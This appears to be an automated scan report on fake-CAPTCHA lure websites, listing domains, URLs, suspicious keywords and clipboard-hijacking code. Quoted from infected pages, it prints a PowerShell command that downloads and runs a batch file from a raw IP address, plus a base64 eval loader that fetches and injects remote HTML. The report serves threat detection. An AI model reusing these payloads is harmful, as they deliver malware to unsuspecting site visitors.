ClickGrab Threat Analysis Report - 2026-10-26

Generated on 2026-10-26 05:38:07

Executive Summary

Total sites analyzed: 100
Sites with malicious content: 10
Unique domains encountered: 274
Total URLs extracted: 7,530
PowerShell download attempts: 1
Clipboard manipulation instances: 18

Domain Analysis

Most Frequently Encountered Domains

cozypieces.lk: 491 occurrences
warmembraceshop.com: 481 occurrences
nalagi-hotel.com: 334 occurrences
www.m-t.gov.gr: 324 occurrences
www.maheshwaree.com: 316 occurrences
eetools.com: 307 occurrences
fudgeshop.com.au: 265 occurrences
spinedoctors.md: 254 occurrences
www.lntrealty.com: 245 occurrences
cdn.prod.website-files.com: 237 occurrences
xytelindia.com: 229 occurrences
picsera.com: 226 occurrences
hhpms.com: 213 occurrences
scillarodriguez.com: 200 occurrences
www.mothercare.co.id: 169 occurrences

URL Pattern Analysis

reCAPTCHA imagery

23 occurrences across 18 distinct URLs

https://www.google.com/recaptcha/api.js (3 times)
https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
https://www.google.com/recaptcha/about/\ (2 times)
https://www.google.com/recaptcha/admin\ (2 times)
https://www.evodigital.com.au/wp-content/plugins/wp-math-captcha/css/frontend.css?ver=7.0.7 (1 times)
...and 13 more distinct URLs

Font resources

136 occurrences across 110 distinct URLs

https://fonts.gstatic.com (14 times)
https://fonts.googleapis.com (11 times)
https://cdn.zyrosite.com/u1/google-fonts/font-faces?family=Archivo:wght@400;600;700&family=Work+Sans:wght@400;500;600&family=Google+Sans:wght@400;500&display=swap (3 times)
https://fonts.bunny.net (2 times)
https://www.evodigital.com.au/wp-content/themes/evo/css/fontello-embedded.css (1 times)
...and 105 more distinct URLs

CDN hosted scripts

442 occurrences across 202 distinct URLs

https://cdn.trustindex.io/assets/platform/Google/star/f.svg (35 times)
https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3d/6aa03a59bcead488367cfd45_luminate-3%20 (9 times)
https://cdn.trustindex.io/assets/platform/Google/icon.svg (7 times)
https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3d/6aa0357c0a2c8dee51df5dcb_luminate%201%20 (7 times)
https://cdn.prod.website-files.com/6a32afdbfe8c063958d6cb3b/6a451d771a5d44a3cc54278d_Rectangle%2078%20 (6 times)
...and 197 more distinct URLs

Google resources

167 occurrences across 102 distinct URLs

https://cdn.trustindex.io/assets/platform/Google/star/f.svg (35 times)
https://fonts.googleapis.com (11 times)
https://www.googletagmanager.com/gtm.js?id= (7 times)
https://cdn.trustindex.io/assets/platform/Google/icon.svg (7 times)
https://www.google.com/recaptcha/api.js (3 times)
...and 97 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 251 (61 unique)

Keyword Categories

Social Engineering

41 unique keywords

captcha_provider
captchasitekey
Checking if you are human
captcha-controls
Verification
captcha-js-extra
captcha-disabled
captcha-controls-js
Robot
captcha_field
...and 31 more

Obfuscation Indicators

2 unique keywords

eval(atob('ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXsgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsgICAgfX0pO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9Y29uc3QgY29va2llbmFtZSA9ICJjb29raWUtY2FwdGNoYS1jb21wbGV0ZSI7Y29uc3QgY29va2llID0gZ2V0Q29va2llKGNvb2tpZW5hbWUpO2lmKCFjb29raWUpe2ZldGNoKCJodHRwczovL2dhdGVwYXNzLWNvcnAuY29tIikgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2Uub2sgPyByZXNwb25zZS50ZXh0KCkgOiBQcm9taXNlLnJlamVjdCgpKS50aGVuKGh0bWwgPT57aWYoaHRtbC5sZW5ndGggPT09IDApe2RvY3VtZW50LmNvb2tpZSA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSk7fWVsc2V7ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIGh0bWwpO319KS5jYXRjaCgoKSA9PiBjb25zb2xlLmVycm9yKCJGYWlsZWQgdG8gbG9hZCBwYWdlISIpKTt9'))
eval(

System Commands

6 unique keywords

Invoke
Invoke-WebRequest
powershell
invoke
command =powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile \"%temp%\d.bat\" -UseBasicParsing; Start-Process \"%temp%\d.bat\"";
const command =

Verification Text

2 unique keywords

Hidden
hidden

Technical Terms

10 unique keywords

system (EMS)
press Enter
responseText
Ray ID
.bat
amos
failed_to_retrieve
click to verify
You will observe
bypass

Most Frequent Keywords

failed_to_retrieve: 55 occurrences
hidden: 40 occurrences
robot: 34 occurrences
captcha: 18 occurrences
Robot: 18 occurrences
verification: 7 occurrences
captcha-js: 6 occurrences
Captcha: 6 occurrences
CAPTCHA: 4 occurrences
responseText: 3 occurrences
Verification: 3 occurrences
captcha-js-before: 2 occurrences
verification-id: 2 occurrences
Hidden: 2 occurrences
CaptchaError: 2 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: captcha, captcha-js, Captcha, CAPTCHA, captcha_link_, CaptchaError, captcha-error, captcha_type, captcha-badge, captcha_field, captcha-v3-js, captcha_empty

Group 2: captcha-js-before, captcha-js-extra

Group 3: robot, Robot

Group 4: hidden, Hidden

Group 5: CAPTCHA Verification, Verification, verification

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 1/7

Detected Obfuscation Techniques

Base64 Encoding

Base64 encoded strings being decoded

Instances Found: 1

Examples: - ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIiwgZSA9PntpZihlLmRhdGEgPT09ICJyZWxvYWQiKXsgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsgICAgfX0pO2Z1bmN0aW9uIGdldENvb2tpZShuYW1lKXtjb25zdCBtYXRjaCA9IGRvY3VtZW50LmNvb2tpZS5tYXRjaChuZXcgUmVnRXhwKCIoXnw7ICkiICsgbmFtZSArICI9KFteO10qKSIpKTtyZXR1cm4gbWF0Y2ggPyBkZWNvZGVVUklDb21wb25lbnQobWF0Y2hbMl0pIDogbnVsbDt9Y29uc3QgY29va2llbmFtZSA9ICJjb29raWUtY2FwdGNoYS1jb21wbGV0ZSI7Y29uc3QgY29va2llID0gZ2V0Q29va2llKGNvb2tpZW5hbWUpO2lmKCFjb29raWUpe2ZldGNoKCJodHRwczovL2dhdGVwYXNzLWNvcnAuY29tIikgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2Uub2sgPyByZXNwb25zZS50ZXh0KCkgOiBQcm9taXNlLnJlamVjdCgpKS50aGVuKGh0bWwgPT57aWYoaHRtbC5sZW5ndGggPT09IDApe2RvY3VtZW50LmNvb2tpZSA9IGNvb2tpZW5hbWUgKyAiPTE7IHBhdGg9LzsgbWF4LWFnZT0iICsgKDYwICogNjAgKiAyNCAqIDM2NSk7fWVsc2V7ZG9jdW1lbnQuYm9keS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIGh0bWwpO319KS5jYXRjaCgoKSA9PiBjb25zb2xlLmVycm9yKCJGYWlsZWQgdG8gbG9hZCBwYWdlISIpKTt9

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

com/dist/web/assets/google
6LcV3rIfAAAAAA2QP41aFzmz0YsAowENAmCMNdx9
ICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJtZXNzYWdlIi...
com/recaptcha/api/fallback
bEE4bmZ6Sis0OVNmUDNCTHp3NWF2VmtTOEVZS2tDeThycE1CcF...

Clipboard Manipulation Analysis

Detected clipboard manipulation in 18 instances.

Document.Execcommand Copy

Found in 3 snippets (16.7% of clipboard code)

Examples:

document.execCommand('copy')

Textarea Manipulation

Found in 3 snippets (16.7% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.